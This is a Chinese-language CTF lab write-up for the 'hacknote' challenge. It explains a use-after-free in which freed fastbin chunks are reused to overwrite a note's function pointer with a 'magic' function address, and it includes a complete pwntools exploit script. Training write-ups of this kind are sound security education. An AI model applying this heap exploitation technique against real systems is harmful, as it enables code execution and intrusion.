lab10

No PIE,说明可以直接用 ida 中看到的地址,比如最后要执行的 magic 函数(// starts at 8048986)。

可以看到 add_note 使用了 malloc,del_note 只用了 free 但没有给指针赋值 NULL,所以可以在 free 后使用。

结构体 note 有两个指针,一个指向打印 note 的函数(正常流程是 print_note_content),一个指向 note 记录的 content。在 print_note 中会调用打印 note 的函数。

所以应该输入 note content 时用 magic 覆盖掉原来 printnote 指针指向的 print_note_content,利用没有置空的 printnote 在 print_note 中执行 magic 函数。

结构体 note 在 malloc 时会分配为 fastbin,16 字节大小的空间。如果要让 magic 的地址在写内容时覆盖到之前 free 过的 note 里,就要申请和 note 一样大小的 note->content 空间(sizeof + gcc -m32 可算,8 字节),同时保证没有覆盖到之前 note 的内容空间里(就是说前面的 note->content 不能是 16 字节 fastbin 大小的)。此外,要申请 note->content 首先要申请 note,所以之前得 free 掉两个 content 段不为 16 字节的 note,访问时用第一个 note->printnote 调用 magic(fastbin 的链表是后来的插入到头里)

脚本(需要先写好/home/hacknote/flag):

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context.terminal = ['tmux', 'splitw', '-h' ]
io = process('./hacknote')

magic_addr = 0x08048986

# gdb.attach(io)

# add_note * 2
for _ in range(2):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(50))
    io.recvuntil(":")
    io.sendline("xxx")

# del_note * 2
for i in range(2):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(i))

# gdb.attach(io)

# add_note magic_addr
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(8))
io.recvuntil(":")
io.sendline(p32(magic_addr))

# print_note
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(0))

io.interactive()

另外 docker 里要调试,得在 run 时加上--cap-add=SYS_PTRACE,进入 tmux,再在脚本里加上context.terminal = ['tmux', 'splitw', '-h' ]才行,不过都装好后在哪里的机器都能用是很方便的。



如无特殊声明,本页内容采用 CC BY-NC 4.0 授权